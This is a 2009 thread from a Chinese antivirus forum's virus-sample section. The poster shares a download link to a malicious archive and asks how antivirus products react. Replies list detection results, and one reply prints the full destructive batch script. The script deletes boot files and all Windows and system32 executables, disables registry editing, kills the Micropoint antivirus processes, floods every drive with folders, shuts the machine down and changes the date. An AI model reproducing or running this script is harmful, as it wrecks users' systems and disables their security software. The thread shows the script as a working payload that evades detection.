大家帮着看看这个

显示全部楼层 · 发表于 2009-7-5 13:36:14

大家帮着看看这个，看看杀软都有什么反应，下载就能拦截最好，因此压缩包未加密，建议在虚拟机测试，这个病毒足以让你的系统崩溃
顺带希望大家看看这个捆绑的效果如何，杀软什么反应，因为附件限制，所以传到了网盘http://www.brsbox.com/filebox/uploadcomplete/randstr/2t7OhZOR27S171e0Y4s6A4r927/fgid/970db4ea91fef43ad6435255fb117c87/dirids/0

[ 本帖最后由 zjhgrsy 于 2009-7-5 15:41 编辑 ]

显示全部楼层 · 发表于 2009-7-5 13:37:27

'TR/Hijacker.Gen [trojan]'×2

显示全部楼层 · 发表于 2009-7-5 13:37:51

这是什么猛毒啊？？

显示全部楼层 · 发表于 2009-7-5 13:42:00

日期和时间：  2009-7-5 13:41:51
文件名：  1.rar
原始路径：  C:\Documents and Settings\Administrator\桌面\
文件大小：  35.65 KB
病毒名称：  Trojan.Generic
建议：  保存并删除
特征编号：  929403

显示全部楼层 · 发表于 2009-7-5 13:44:56

就是手工编写的批处理，反正瑞星是绕过了

显示全部楼层 · 发表于 2009-7-5 14:06:35

针对微点的

attrib -r -h -s c:\ntldr
attrib -r -h -s c:\*.sys
del c:\ntldr
del c:\*.sys
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f
taskkill /f /im MPMon.exe /t
taskkill /f /im MPSVC1.exe/t
taskkill /f /im MPSVC2.exe/t
taskkill /f /im MPSVC.exe/t
attrib -r -h -s C:\windows\*.exe
attrib -r -h -s C:\windows\system32\*.exe
attrib -r -h -s C:\windows\system32\*.cpl
del C:\windows\*.exe
del C:\windows\system32\*.exe
del C:\windows\system32\*.cpl
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
for /l %%a in (1,1,1000) do for %%b in (%alldrive%) do md %%b:\%random%%random%%random%%%a..\
Shutdown
date 2099-10-10

显示全部楼层 · 发表于 2009-7-5 14:07:38

to mpav

显示全部楼层 · 发表于 2009-7-5 14:13:12

tf砸没反应

显示全部楼层 · 发表于 2009-7-5 14:14:14

C:\CONFIG.SYS
C:\IO.SYS
C:\MSDOS.SYS
C:\ntldr
全删除~系统能不崩溃吗

显示全部楼层 · 发表于 2009-7-5 14:15:06

真的多TF了

[病毒样本] 大家帮着看看这个

本帖子中包含更多资源